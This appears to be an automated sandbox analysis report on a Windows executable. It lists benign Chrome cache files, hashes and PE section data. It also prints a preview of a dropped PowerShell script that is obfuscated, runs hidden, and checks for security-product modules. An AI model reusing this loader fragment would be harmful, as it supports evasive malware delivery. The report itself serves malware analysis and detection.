URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (2258), with CRLF line terminators
Category:	dropped
Size (bytes):	2260
Entropy (8bit):	5.824901870684975
Encrypted:	false
SSDEEP:	48:5weJYNabt4dENi2YWtQRhR9RxBBPaCFB+ckTkKxe9zY2ztRJJnH0tZWv:5r4GNNYl7r7BBDFBEizY2ztPR0O
MD5:	1C96906BF4E4E647F1F834393182C6F1
SHA1:	BD4209B309E6A6CF65CB1291465AD2CDA7D858C0
SHA-256:	34847A8605FC4848DF732A76888D73B9CBAA574989283A3EA84025B3E22C4901
SHA-512:	F960D78D3FCB8F77FF9BFA85ABB573FD3E55224B534C26B4647BEDFE643371DF91B29EFDA2BA79A2981A94BD28B99C1D71C8495D5CF694B963A5382ED4A5B1BF
Malicious:	false
Preview:	$host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Roaming\Network9294Man.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9456730481327895
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'803'264 bytes
MD5:	f1342d3c266f900b0f741a88d34c2c66
SHA1:	969f00c1d09c99f2adebe3898b42ee97d9e1c53c
SHA256:	a2690a898a227466fa7c8baba05a72ed5c48ec224cc1d7b4f44f2313e830dc23
SHA512:	75790fb1bb16df9467a8280e976018f75500d9e9ef275dba5807c21cce5a24d2c67f8f1e6cde1ea41831dcf8c470a9069f6de4a8aab6f1bdab246d1d0af83926
SSDEEP:	24576:/t+5NysdxkDawuQyEZYc7pZHgstxSgLVJ8I6xxqwcUxH3sK+8BkItzaX0opJsXGY:17okDfZb7p7AGd0x8KhHo6GOE4l
TLSH:	9E853388997730FCE3247A7C141262E66FD99D94E29F603A8A707CFC06E337B5596B00
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L...<.Jg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa98000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674AE73C [Sat Nov 30 10:21:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEBF8BC194Ah
punpckldq mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	0fcab7410eeb4e1c5a809c69a78bba81	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	3746b102566324f17e82dd39994dc8bb	False	0.6328125	data	4.885922382441212	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ac000	0x200	1fa7c8c482406aa8a38f96c5bc9603da	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vhfoedue	0x4f8000	0x19f000	0x19e600	e24c46b09008d0268d8595633491232a	False	0.9949477988310709	OpenPGP Public Key	7.954926643628805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uyqyjagh	0x697000	0x1000	0x400	e4c0b8b10fd7f08785c9c184795bee3e	False	0.728515625	data	5.868758176708959	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x698000	0x3000	0x2200	3abc5d8b2a1ef58c759e0810a22bf32f	False	0.060317095588235295	DOS executable (COM)	0.7360275880513305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

